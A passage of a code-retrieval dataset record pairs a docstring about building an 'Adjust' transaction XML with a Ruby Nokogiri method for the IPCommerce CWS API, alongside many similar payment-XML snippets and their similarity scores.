attr.delete 'properties'\n end\n end\n builder.item(attr)\n end", "def transaction_params\n params.require(:transaction).permit(:t_name, :description, :t_type, :t_amount, :account_id)\n end", "def transactions(options)\n options[:type] ||= :all\n\n unless %i[all all_deal deposit withdrawal].include? options[:type]\n raise ArgumentError, \"invalid transaction type: #{options[:type]}\"\n end\n\n tranaactions_request build_url_parameters(options)\n end" ]
[ "0.6026714", "0.5933481", "0.5348578", "0.5326515", "0.5325376", "0.530923", "0.523648", "0.5197784", "0.5185931", "0.50713456", "0.50635606", "0.50426406", "0.50426406", "0.50426406", "0.50426406", "0.50426406", "0.50426406", "0.5028762", "0.5020382", "0.5018203", "0.5016852", "0.5016823", "0.50090206", "0.4993993", "0.498229", "0.49674916", "0.49636889", "0.49405962", "0.49173397", "0.49164474", "0.49164474", "0.48488608", "0.4844573", "0.48240915", "0.4805185", "0.4804637", "0.48046207", "0.4803917", "0.47967902", "0.47931707", "0.4789145", "0.47815606", "0.47641516", "0.47601652", "0.47595057", "0.4755628", "0.47472638", "0.4741666", "0.47370616", "0.47330928", "0.47319698", "0.4728247", "0.47245663", "0.471453", "0.47092927", "0.47092927", "0.47039407", "0.47036958", "0.47022408", "0.4701645", "0.46996197", "0.4696939", "0.4696939", "0.4696939", "0.46935266", "0.4691268", "0.46891484", "0.46866584", "0.46811834", "0.46754313", "0.46714503", "0.46686506", "0.46686506", "0.4667144", "0.46655005", "0.46640477", "0.46599564", "0.46546856", "0.4654481", "0.4654405", "0.4652924", "0.4648921", "0.46461964", "0.46458972", "0.4645696", "0.46374172", "0.46364504", "0.46336803", "0.4622514", "0.46164912", "0.46132648", "0.4612704", "0.46119848", "0.460769", "0.4601688", "0.46014994", "0.45957887", "0.45924115", "0.45917472", "0.45889482" ]
0.8337454
0
Create Adjust xml as per the api format . "params" is collection keyvalues, in this "params" holds adjusted Amount, TransactionId. It returns xml format in string.
def adjustXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.Adjust('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"Adjust" ) { xml.ApplicationProfileId application_profile_id xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> "true") xml.MerchantProfileId merchant_profile_id xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions', 'xmlns:ns2' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions", 'xmlns:ns3' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions") { if params[:Amount] != '' xml['ns2'].Amount params[:Amount] else xml['ns2'].Amount '0.00' end xml['ns3'].TransactionId params[:TransactionId] } } end.to_xml rescue Exception => ex return "transaction id and/or amount not set in xml for adjustXML!" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def returnByIdXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ReturnById('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"ReturnById\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil' => \"true\")\n xml.DifferenceData('xmlns:ns1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', 'i:type' => \"ns1:BankcardReturn\"){\n xml['ns2'].TransactionId params[:TransactionId] ,'xmlns:ns2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions'\n if params[:Amount] != ''\n xml['ns1'].Amount params[:Amount]\n else\n xml['ns1'].Amount '0.00'\n end\n }\n xml.MerchantProfileId merchant_profile_id\n } \n end.to_xml\n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for returnByIdXML!\"\n end \n end", "def undoXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.Undo('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"Undo\" ) {\n xml.ApplicationProfileId application_profile_id \n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays','i:nil' => \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil' => \"true\")\n xml.MerchantProfileId merchant_profile_id \n xml.TransactionId params[:TransactionId] \n }\n end.to_xml \n rescue Exception => ex\n return \"transaction id not set in xml for undoXML!\"\n end \n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def captureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.ChangeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"Capture\" ) {\n xml.ApplicationProfileId application_profile_id #'14644'\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions',\n 'xmlns:d2p2' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard', \n 'xmlns:d2p3' => 'http://schemas.ipcommerce.com/CWS/v2.0/TransactionProcessing',\n 'i:type' => \"d2p2:BankcardCapture\"){\n xml['d2p1'].TransactionId params[:TransactionId]#'760CBDD65E4642E49A3CD2E2F3257A10'\n if params[:Amount] != ''\n xml['d2p2'].Amount params[:Amount]\n else\n xml['d2p2'].Amount '0.00'\n end \n xml['d2p2'].TipAmount '0.00' \n }\n } \n end.to_xml \n rescue Exception => ex\n return \"transaction id and/or amount not set in xml for captureXML!\"\n end \n end", "def create_or_adjust(args = {})\n resp = connection.post '/api/v2/transactions/createoradjust', args\n handle_response(resp)\n end", "def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @api = \"bp10emu\"\r\n end", "def verifyXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance',\n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id #'14560'\n xml.MerchantProfileId merchant_profile_id #'PrestaShop Global HC'\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType]\n xml['ns1'].CardholderName params[:CardholderName]\n # xml['ns1'].PAN params[:PAN] #'4111111111111111'\n # xml['ns1'].Expire params[:Expire]\n # xml['ns1'].Track1Data('i:nil' =>\"true\")\n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].CardSecurityData{\n xml['ns1'].AVSData{\n xml['ns1'].CardholderName('i:nil' =>\"true\") \n xml['ns1'].Street params[:Street]\n xml['ns1'].City params[:City]\n xml['ns1'].StateProvince params[:StateProvince]\n xml['ns1'].PostalCode params[:PostalCode]\n xml['ns1'].Phone params[:Phone]\n xml['ns1'].Email params[:Email]\n }\n xml['ns1'].CVDataProvided 'Provided'\n xml['ns1'].CVData params[:CVData]\n xml['ns1'].KeySerialNumber('i:nil' =>\"true\")\n xml['ns1'].PIN('i:nil' =>\"true\") \n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\")\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD')\n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2014-04-03T13:50:16') \n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n if params[:Track2Data].present? || params[:Track1Data].present?\n xml['ns1'].EntryMode params[:EntryMode]\n else\n xml['ns1'].EntryMode 'Keyed'\n end \n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InvoiceNumber('i:nil' =>\"true\")\n xml['ns1'].OrderNumber('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n } \n }\n }\n end.to_xml\n rescue Exception => ex\n return \"Some value not set in xml for verifyXML!\"\n end\n end", "def tran_xml(xml, index, job, batch, transaction_set_count) \n if !payer.blank? && !payer.status.blank? && (!payer.gateway.blank? || !payer.gateway_temp.blank?)\n gateway = payer.status.upcase == 'MAPPED' ? payer.gateway : (payer.gateway_temp || 'HLSC')\n payid = payer.payer_identifier(micr_line_information)\n footnote_indicator = (payer.footnote_indicator ? 1 : 0)\n else raise 'Invalid Payer'\n puts \"Payer record for check number #{check_number} is incomplete or invalid\"\n log.error \"Payer record for check number #{check_number} is incomplete or invalid\"\n end\n\n payee_name ||= batch.facility.name.to_s.strip\n xml.tran(:ID => index + 1) do\n xml.tag!(:batch_attrib, 1)\n xml.tag!(:gateway, gateway)\n xml.tag!(:pay_id, payid)\n xml.tag!(:payee_nm, (payee_name.slice(0, 25) if !payee_name.blank?))\n xml.tag!(:aba_num, (micr_line_information.aba_routing_number if micr_line_information))\n xml.tag!(:chk_act, (micr_line_information.payer_account_number if micr_line_information))\n xml.tag!(:chk_num, check_number)\n xml.tag!(:chk_amt, sprintf('%.02f', check_amount.to_f))\n xml.tag!(:eob_id, (index + 1))\n xml.tag!(:tid, job.transaction_number)\n xml.tag!(:rework, '0')\n xml.tag!(:payer_footnote_based, (footnote_indicator || 0))\n xml.tag!(:worklist_status_cd, '')\n xml.tag!(:transaction_receipt_dt, (batch.date.strftime(\"%Y-%m-%d\") unless batch.date.blank?))\n xml.tag!(:hlsc_file_nm, batch.src_file_name)\n xml.tag!(:show_on_worklist, '0')\n xml.tag!(:transaction_guid, guid)\n end\n transaction_set_count += 1\n end", "def sale(params = {})\r\n @PARAM_HASH['TRANSACTION_TYPE'] = 'SALE'\r\n @PARAM_HASH['AMOUNT'] = params[:amount]\r\n @PARAM_HASH['RRNO'] = params[:trans_id] || ''\r\n @PARAM_HASH['CUST_TOKEN'] = params[:customer_token] if params[:customer_token]\r\n @api = \"bp10emu\"\r\n end", "def to_xml\n\n prelude = \"<?xml version='1.0'?>\\n<Root xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xsi:noNamespaceSchemaLocation='file:///order.xsd'>\\n<order>\"\n str= [ add_costs_xml,\n additional_text_xml,\n customer_id,\n delivery_country_code,\n delivery_date_xml,\n delivery_name_1,\n delivery_name_2,\n delivery_name_3,\n delivery_place,\n delivery_print_code_xml,\n delivery_street,\n delivery_codes,\n delivery_zipcode,\n discount_xml,\n gross_price_code,\n invoice_country_code,\n invoice_name_1,\n invoice_name_2,\n invoice_name_3,\n invoice_place,\n invoice_print_code_xml,\n invoice_street,\n invoice_zipcode,\n order_type,\n payment_codes,\n reference_1,\n reference_2,\n representative_1,\n short_name,\n urgent_code,\n tax_code,\n order_release_code\n ].compact\n str.each do |s|\n s = s.force_encoding('UTF-8')\n end\n all = str.join(\"\\n\")\n ending = \"<positionen AnzPos='#{positions.length}'>#{xml_for(positions)}</positionen>\\n</order>\\n</Root>\"\n prelude + all + ending\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def build_transaction_request(money, options)\n date_time_stamp = create_time_stamp\n message = date_time_stamp +\n options[:issuer_id] +\n @options[:login] +\n SUB_ID +\n options[:return_url] +\n options[:order_id] +\n money.to_s +\n (options[:currency] || currency(money)) +\n LANGUAGE +\n options[:description] +\n options[:entrance_code]\n token_code = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'AcquirerTrxReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', date_time_stamp\n xml.tag! 'Issuer' do\n xml.tag! 'issuerID', options[:issuer_id]\n end\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication', AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', token_code\n xml.tag! 'merchantReturnURL', options[:return_url]\n end\n xml.tag! 'Transaction' do\n xml.tag! 'purchaseID', options[:order_id]\n xml.tag! 'amount', money\n xml.tag! 'currency', options[:currency]\n xml.tag! 'expirationPeriod', options[:expiration_period] || default_expiration_period\n xml.tag! 'language', LANGUAGE\n xml.tag! 'description', options[:description]\n xml.tag! 'entranceCode', options[:entrance_code]\n end\n xml.target!\n end\n end", "def create_refund_request_xml(merchantCode, orderCode, currencyCode, amount)\n xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n xml << \"<!DOCTYPE paymentService PUBLIC '-//WorldPay/DTD WorldPay PaymentService v1/EN' 'http://dtd.worldpay.com/paymentService_v1.dtd'>\\n\"\n xml << \"<paymentService version=\\\"1.4\\\" merchantCode=\\\"\" + merchantCode + \"\\\">\\n\"\n xml << \"<modify>\\n\"\n xml << \"<orderModification orderCode=\\\"\" + orderCode + \"\\\">\\n\"\n xml << \"<refund>\\n\"\n xml << \"<amount value=\\\"\"+ amount.to_s + \"\\\" currencyCode=\\\"\" + currencyCode + \"\\\" exponent=\\\"2\\\"/>\"\n xml << \"</refund>\\n\"\n xml << \"</orderModification>\\n\"\n xml << \"</modify>\\n\"\n xml << \"</paymentService>\\n\"\n xml\n end", "def transaction_with_http_info(txid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.transaction ...'\n end\n # verify the required parameter 'txid' is set\n if @api_client.config.client_side_validation && txid.nil?\n fail ArgumentError, \"Missing the required parameter 'txid' when calling DefaultApi.transaction\"\n end\n # resource path\n local_var_path = '/api/v1/transaction'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'txid'] = txid\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'application/xml', ])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'Transaction' \n\n # auth_names\n auth_names = opts[:auth_names] || []\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#transaction\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def authorizeXML(params) \n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\",\n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end \n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false' \n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeXML!\"\n end\n end", "def get_adjusted_line_item_prices_request_xml(sku_obj)\n xml_template = <<eos\n<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:v1=\"http://gamestop.com/merchandising/pricing/v1\" xmlns:arr=\"http://schemas.microsoft.com/2003/10/Serialization/Arrays\">\n <soap:Header xmlns:wsa=\"http://www.w3.org/2005/08/addressing\">\n <v1:SessionId>#{sku_obj.session_id}</v1:SessionId>\n <v1:Locale>en-US</v1:Locale>\n <v1:ClientChannel>GS_US</v1:ClientChannel>\n <wsa:Action soap:mustUnderstand=\"1\">http://gamestop.com/merchandising/pricing/v1/GetAdjustedPrice</wsa:Action><wsa:To soap:mustUnderstand=\"1\">http://qa.services.gamestop.com/Ecom/Merchandising/Pricing/v1/PricingService.svc</wsa:To>\n\t</soap:Header>\n <soap:Body>\n <v1:GetAdjustedLineItemPricesRequest>\n <!--Optional:-->\n <v1:CustomerID>#{sku_obj.customer_id}</v1:CustomerID>\n <!--Optional:-->\n <v1:CustomerLoyaltyNumber>#{sku_obj.customer_loyalty_number}</v1:CustomerLoyaltyNumber>\n <!--Optional:-->\n <v1:LineItems>\n <!--Zero or more repetitions:-->\n <v1:PricingLineItem>\n <!--Optional:-->\n <v1:GiftAmount xsi:nil=\"true\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"/>\n <v1:LineItemID>#{sku_obj.line_item_id}</v1:LineItemID>\n <v1:ProductType>#{sku_obj.product_type}</v1:ProductType>\n <v1:Quantity>#{sku_obj.quantity}</v1:Quantity>\n <v1:ShippingOption>#{sku_obj.shipping_option}</v1:ShippingOption>\n <v1:Sku>#{sku_obj.sku}</v1:Sku>\n </v1:PricingLineItem>\n </v1:LineItems>\n <!--Optional:-->\n <v1:RequestedPromoCodes>\n <arr:string>#{sku_obj.requested_promo_code}</arr:string>\n </v1:RequestedPromoCodes>\n </v1:GetAdjustedLineItemPricesRequest>\n </soap:Body>\n</soap:Envelope>\neos\n\n return xml_template\nend", "def build_adjustment_transaction(start_date, end_date)\n withdrawals = transactions_to_copy(start_date, end_date).sum(:withdrawal_amount) * -1\n deposits = transactions_to_copy(start_date, end_date).sum(:deposit_amount) * -1\n\n adjustment = Transaction.new withdrawal_amount: withdrawals, deposit_amount: deposits,\n description: 'Balance B/F Adj Entry',\n transaction_date: end_date.tomorrow,\n status: 'paid', brought_forward_status: 'adjustment'\n adjustment\n end", "def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || 